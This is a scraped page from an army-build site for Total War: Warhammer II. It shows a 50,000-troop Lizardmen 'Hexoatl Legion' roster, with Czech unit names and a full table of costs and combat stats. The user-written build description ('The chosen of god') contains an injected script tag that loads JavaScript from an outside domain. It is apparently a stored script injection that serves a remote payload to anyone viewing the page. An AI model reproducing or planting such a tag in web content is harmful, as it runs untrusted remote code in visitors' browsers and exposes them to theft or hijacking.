Left Panel
Hexoatl Legion
50,000 TroopsBuild by ArmigeriDefensores - 2020-03-09 21:27:39
1
100
100
100
100
100
100
100
100
100
100
100
100
100
100
100
16
16
16
16
16
16
16
16
16
16
48
48
48
48
48
48
48
48
48
10
10
10
10
10
The chosen of god<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Velitel (1) | 1 | 1650 | 1650 | 412 | - | - | - | 60 | 520 | 32 | 40 | 120 | 7368 | 80 | |||||
| 1 | Nakai Poutník | 1 | 1650 | 1650 | 412 | 60 | 520 | 32 | 40 | 120 | 7368 | 80 | |||||||
| Kontaktní pěchota (25) | 1660 | 26250 | 23350 | 6447 | - | - | - | 747 | 1755 | 450 | 828 | 2550 | 6855 | 1920 | |||||
| 2 | Požehnaní sauří kopiníci (štíty) | 100 | 900 | 0 | 200 | 24 | 42 | 10 | 38 | 95 | 115 | 75 | |||||||
| 3 | Sauří kopiníci (štíty) | 100 | 800 | 800 | 200 | 24 | 42 | 10 | 38 | 95 | 102 | 75 | |||||||
| 4 | Sauří kopiníci (štíty) | 100 | 800 | 800 | 200 | 24 | 42 | 10 | 38 | 95 | 102 | 75 | |||||||
| 5 | Sauří kopiníci (štíty) | 100 | 800 | 800 | 200 | 24 | 42 | 10 | 38 | 95 | 102 | 75 | |||||||
| 6 | Sauří kopiníci (štíty) | 100 | 800 | 800 | 200 | 24 | 42 | 10 | 38 | 95 | 102 | 75 | |||||||
| 7 | Požehnaní sauří válečníci (štíty) | 100 | 900 | 0 | 200 | 29 | 52 | 16 | 34 | 95 | 115 | 75 | |||||||
| 8 | Sauří válečníci (štíty) | 100 | 800 | 800 | 200 | 29 | 52 | 16 | 34 | 95 | 102 | 75 | |||||||
| 9 | Sauří válečníci (štíty) | 100 | 800 | 800 | 200 | 29 | 52 | 16 | 34 | 95 | 102 | 75 | |||||||
| 10 | Sauří válečníci (štíty) | 100 | 800 | 800 | 200 | 29 | 52 | 16 | 34 | 95 | 102 | 75 | |||||||
| 11 | Sauří válečníci (štíty) | 100 | 800 | 800 | 200 | 29 | 52 | 16 | 34 | 95 | 102 | 75 | |||||||
| 12 | Strážci Hvězdné komnaty (chrámová stráž) | 100 | 1550 | 1550 | 387 | 39 | 42 | 14 | 48 | 120 | 107 | 95 | |||||||
| 13 | Chrámové stráže | 100 | 1200 | 1200 | 300 | 31 | 42 | 14 | 38 | 120 | 107 | 85 | |||||||
| 14 | Chrámové stráže | 100 | 1200 | 1200 | 300 | 31 | 42 | 14 | 38 | 120 | 107 | 85 | |||||||
| 15 | Chrámové stráže | 100 | 1200 | 1200 | 300 | 31 | 42 | 14 | 38 | 120 | 107 | 85 | |||||||
| 16 | Chrámové stráže | 100 | 1200 | 1200 | 300 | 31 | 42 | 14 | 38 | 120 | 107 | 85 | |||||||
| 17 | Požehnaní kroxigoři | 16 | 1100 | 0 | 260 | 26 | 95 | 42 | 26 | 100 | 574 | 70 | |||||||
| 18 | Kroxigoři | 16 | 1000 | 1000 | 260 | 26 | 95 | 22 | 26 | 100 | 510 | 70 | |||||||
| 19 | Kroxigoři | 16 | 1000 | 1000 | 260 | 26 | 95 | 22 | 26 | 100 | 510 | 70 | |||||||
| 20 | Kroxigoři | 16 | 1000 | 1000 | 260 | 26 | 95 | 22 | 26 | 100 | 510 | 70 | |||||||
| 21 | Kroxigoři | 16 | 1000 | 1000 | 260 | 26 | 95 | 22 | 26 | 100 | 510 | 70 | |||||||
| 22 | Huatlova kohorta (posvátní kroxigoři) | 16 | 1600 | 1600 | 260 | 45 | 120 | 24 | 34 | 100 | 532 | 85 | |||||||
| 23 | Posvátný Kroxigor | 16 | 1250 | 1250 | 325 | 36 | 120 | 24 | 26 | 100 | 532 | 75 | |||||||
| 24 | Posvátný Kroxigor | 16 | 1250 | 1250 | 325 | 36 | 120 | 24 | 26 | 100 | 532 | 75 | |||||||
| 25 | Posvátný Kroxigor | 16 | 1250 | 1250 | 325 | 36 | 120 | 24 | 26 | 100 | 532 | 75 | |||||||
| 26 | Posvátný Kroxigor | 16 | 1250 | 1250 | 325 | 36 | 120 | 24 | 26 | 100 | 532 | 75 | |||||||
| Kontaktní jízda (6) | 288 | 6450 | 6450 | 1611 | - | - | - | 195 | 294 | 192 | 180 | 720 | 780 | 480 | |||||
| 27 | Jízda na chladnokrevných | 48 | 850 | 850 | 212 | 31 | 50 | 32 | 26 | 120 | 130 | 75 | |||||||
| 28 | Jízda na chladnokrevných | 48 | 850 | 850 | 212 | 31 | 50 | 32 | 26 | 120 | 130 | 75 | |||||||
| 29 | Jízda na chladnokrevných | 48 | 850 | 850 | 212 | 31 | 50 | 32 | 26 | 120 | 130 | 75 | |||||||
| 30 | Kohorta Pok-Hopaků (kopiníci na chladnokrevných) | 48 | 1300 | 1300 | 325 | 34 | 48 | 32 | 34 | 120 | 130 | 85 | |||||||
| 31 | Kohorta Pok-Hopaků (kopiníci na chladnokrevných) | 48 | 1300 | 1300 | 325 | 34 | 48 | 32 | 34 | 120 | 130 | 85 | |||||||
| 32 | Kohorta Pok-Hopaků (kopiníci na chladnokrevných) | 48 | 1300 | 1300 | 325 | 34 | 48 | 32 | 34 | 120 | 130 | 85 | |||||||
| Úderná jízda (3) | 144 | 4500 | 4500 | 1125 | - | - | - | 135 | 180 | 129 | 87 | 390 | 450 | 255 | |||||
| 33 | Rohatci | 48 | 1500 | 1500 | 375 | 45 | 60 | 43 | 29 | 130 | 150 | 85 | |||||||
| 34 | Rohatci | 48 | 1500 | 1500 | 375 | 45 | 60 | 43 | 29 | 130 | 150 | 85 | |||||||
| 35 | Rohatci | 48 | 1500 | 1500 | 375 | 45 | 60 | 43 | 29 | 130 | 150 | 85 | |||||||
| Jízdní lučištníci (5) | 50 | 3450 | 3450 | 861 | - | 125 | - | - | 118 | 130 | 325 | 80 | 110 | 75 | 1860 | 275 | |||
| 36 | Jezdci na terradonech (bolas s ohnivou pijavicí) | 10 | 750 | 750 | 187 | 15 | 80 | 8.3 | 22 | 26 | 65 | 16 | 22 | 15 | 372 | 55 | |||
| 37 | Jezdci na terradonech (bolas s ohnivou pijavicí) | 10 | 750 | 750 | 187 | 15 | 80 | 8.3 | 22 | 26 | 65 | 16 | 22 | 15 | 372 | 55 | |||
| 38 | Jezdci na terradonech (bolas s ohnivou pijavicí) | 10 | 750 | 750 | 187 | 15 | 80 | 8.3 | 22 | 26 | 65 | 16 | 22 | 15 | 372 | 55 | |||
| 39 | Jezdci na terradonech | 10 | 600 | 600 | 150 | 40 | 90 | 11.1 | 26 | 26 | 65 | 16 | 22 | 15 | 372 | 55 | |||
| 40 | Jezdci na terradonech | 10 | 600 | 600 | 150 | 40 | 90 | 11.1 | 26 | 26 | 65 | 16 | 22 | 15 | 372 | 55 | |||
| Subtotal | 2143 | 42300 | 39400 | 10456 | - | 125 | - | - | 118 | 1267 | 3074 | 883 | 1245 | 3855 | 17313 | 3010 | |||

English
Français
Italiano
Deutsch
Español
Русский
Polski
Türkçe
Português (Brasil)
한국어
简体中文
正體中文